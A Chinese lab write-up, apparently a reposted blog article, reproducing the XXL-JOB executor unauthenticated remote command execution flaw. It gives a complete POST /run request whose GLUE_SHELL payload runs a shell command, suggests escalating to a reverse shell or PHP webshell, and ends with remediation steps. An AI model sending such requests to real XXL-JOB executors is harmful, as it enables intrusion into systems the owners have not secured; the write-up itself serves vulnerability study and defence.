XXL-JOB executor 未授权访问漏洞

这篇具有很好参考价值的文章主要介绍了XXL-JOB executor 未授权访问漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。

漏洞影响版本:<=2.2.0    

executor默认没有配置认证,未授权的攻击者可以通过RESTful API接口执行任意命令。

此漏洞为Xxljob配置不当情况下反序列化RCE

XxlJob<=2.1.2,需要利用Hessian触发。

XxlJob >= 2.2.0 会支持RESTFUL API,直接打公开的POC过去即可。

在官方文档的执行器配置文件中说到端口号在默认情况下是9999

---------------------------------------------------------------------------------------------------------------------------------文章来源地址https://www.toymoban.com/news/detail-514522.html

漏洞复现

docker-compose up -d 

下载并启动环境后,访问 http://ip:8080可以看到管理端,访问http://ip:9999可以看到客户端

通过burp抓包,获取客户端的数据包,将该数据包替换成以下数据包

POST /run HTTP/1.1
Host: 172.16.102.66:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 377

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "touch /tmp/NoBodyCanFuckWithMe",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

 这是参数的意思

"jobId":1,   //任务ID
"executorHandler":"demoobHandler",     //任务标识
"executorParams":;"demo3obHandler",    //任务参数
"executorB1ockstrategy":"cOVER_EARLY", //任务阻塞策略,可选值参考
com.xx1.job.core.enums.ExecutorB1ockstrategyEnum
"executorTimeout":o,                 //任务超时时间,单位秒,大于零时生效
"logId":1,                           //本次调度日志ID
"logDateTime ":1586629003729,       //本次调度日志时间
"glueType":"BEAN",         //任务模式,可选值参考com.xx1.job.core.glue.alueTypeEnum
"gluesource":"xxx",               //GLUE脚本代码
"glueupdatetime":1586629003727,     /GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新
"broadcastIndex" : 0,              //分片参数:当前分片
"broadcastTota7":o                  //分片参数:总分片

XXL-JOB executor 未授权访问漏洞

然后去验证一下

XXL-JOB executor 未授权访问漏洞

 进入/tmp目录,查看

XXL-JOB executor 未授权访问漏洞

 发现存在我们刚刚创建的文件

漏洞复现完成

---------------------------------------------------------------------------------------------------------------------------------

实验过程出现的问题

①直接进入会出现一些页面报错

XXL-JOB executor 未授权访问漏洞

XXL-JOB executor 未授权访问漏洞

 这个问题应该是无伤大雅,不影响正常使用,直接抓客户端的包然后送到repeater即可

②进入虚拟容器命令

进入虚拟容器时,官方在目录下给的图片提示中用的命令是 docker-compose.exe exec executor bash然而这个命令我因为没有下载 docker-compose.exe用不了

最后在网上到处搜资料,发现使用docker-compose exec executor bash也是可以的

---------------------------------------------------------------------------------------------------------------------------------

拓展思考

在我们发送的数据包中,有这样一条指令

"glueSource": "touch /tmp/NoBodyCanFuckWithMe"

这一条代表的是执行我们需要执行的命令的参数(这里用的是生成一个文件的指令)

要想进一步利用这个漏洞

可以将命令替换成反弹Shell

或者

能否生成一个含有一句话木马的php文件,然后通过工具来连接呢

---------------------------------------------------------------------------------------------------------------------------------

修复办法

针对该问题,现提供几种安全防护策略。

  • 1、开启 XXL-JOB 自带的鉴权组件:官方文档中搜索 “xxl.job.accessToken” ,按照文档说明启用即可。

  • 2、端口防护:及时更换默认的执行器端口,不建议直接将默认的9999端口开放到公网。

  • 3、端口访问限制:通过配置安全组限制只允许指定IP才能访问执行器9999端

---------------------------------------------------------------------------------------------------------------------------------

(如果文章内容有误,麻烦大佬们指点,我会及时改正,如果帮助到了您,麻烦点个赞呗)

到了这里,关于XXL-JOB executor 未授权访问漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【 XXL-JOB】 XXL-JOB任务分片

    xxl-job 是一个分布式任务调度平台,支持定时任务和分片任务。其中,分片任务可以将一个大任务拆分成多个小任务,分布式地执行,提高任务的执行效率和可靠性。分片任务中,有一种特殊的任务类型叫做分片广播任务,可以将一个任务广播到所有的执行器节点上执行,本

    2024年02月09日
    浏览(39)
  • Xxl-job安装部署以及SpringBoot集成Xxl-job使用

    1、安装Xxl-job: 可以使用docker拉取镜像部署和源码编译两种方式,这里选择源码编译安装。 代码拉取地址: 官方开发文档: 2、打开项目 使用Maven打开项目,下载相关的jar包依赖。配置相关配置文件 这里可以参考官方开发文档进行配置。 3、初始化数据库 项目中包含数据库

    2023年04月25日
    浏览(44)
  • 【xxl-job】分布式任务调度系统xxl-job搭建

    XXL-JOB是一个轻量级分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展、开箱即用。 更多介绍,请访问官网:分布式任务调度平台XXL-JOB 前提条件:任务调度中心(xxl-job admin)依赖于 mysql,所以必须要安装mysql才行!安装mysql有2种方式:docker部署或

    2024年02月16日
    浏览(50)
  • XXL-JOB详细说明

    单机:Timer、ExectorService、spring@scheduled 分布式:xxl-job、quartz、elastic-job 由调度中心和执行器组成,调度中心提供一个web管理配置任务和执行器,调度中心通过rpc触发执行器 1、简单:支持通过Web页面对任务进行CRUD操作,操作简单,一分钟上手; 2、动态:支持动态修改任务状

    2024年02月10日
    浏览(69)
  • XXL-JOB任务分片

    单个任务:一个任务实例便可完成 单机单任务:单机模式下任何路由模式都只有一个实例执行 集群单任务:由路由策略(广播模式除外)选择其中一个实例完成 分片任务:集群部署,每个实例都同时执行一部分数据。分片方式:取模分片,范围分片 单机多任务分片:单机模式

    2024年02月08日
    浏览(60)
  • xxl-Job基础配置

    介绍: XXL-JOB是一个轻量级分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。 几个特性: 1、简单:支持通过Web页面对任务进行CRUD操作,操作简单,一分钟上手; 2、动态:支持动态修改

    2024年02月09日
    浏览(37)
  • Docker-compose搭建xxl-job(并配置Python3环境xxl-job执行器)

    注意:a.文件内IP替换成自己本机IP; b.数据库连接、用户密码根据自己情况修改; 注意:根据自己Python脚本需要添加python3第三方包; 注意:xxl-job-executor-sample-springboot-2.2.0.jar 为xxl-job的执行器jar包 可从github上拉取源码打包成jar 这里提供该文件csdn下载地址:https://download.csdn.

    2024年02月14日
    浏览(45)
  • 【分布式任务调度平台 XXL-JOB 急速入门】从零开始将 XXL-JOB 接入到自己的项目

                                    💧 分布式任务调度平台 X X L − J O B 急速入门:从零开始将 X X L − J O B 接入到自己的项目 color{#FF1493}{分布式任务调度平台 XXL-JOB 急速入门:从零开始将 XXL-JOB 接入到自己的项目} 分布式任务调度平台 XX L − J OB 急速入门:从零

    2024年02月14日
    浏览(47)
  • xxl-job重复执行问题

    一,xxl-job服务 集群部署(两台) 二,问题描述 有一个job1min执行一次,查询一个中间表数据,循环发生esb,得到结果,更新表。当数据量比较大时,会出现数据重复发送了esb,推测job重复执行了,业务耗时比较长,超过了1min,下一个job时间到了,再次查询,取到了同样的数

    2023年04月09日
    浏览(47)
  • 动态创建xxl-job任务

    1.需求背景:微信小程序秒杀模块有个订阅功能,当用户点击完订阅后,要在活动开始的前10分钟调用微信接口发送订阅消息给用户 2.思路:本地创建秒杀订阅表,当用户添加或者取消时对应表中数据的增删,添加数据时动态创建一条xxljob的定时任务,取消时删除它 xxl-job有两种创建任务

    2024年02月12日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包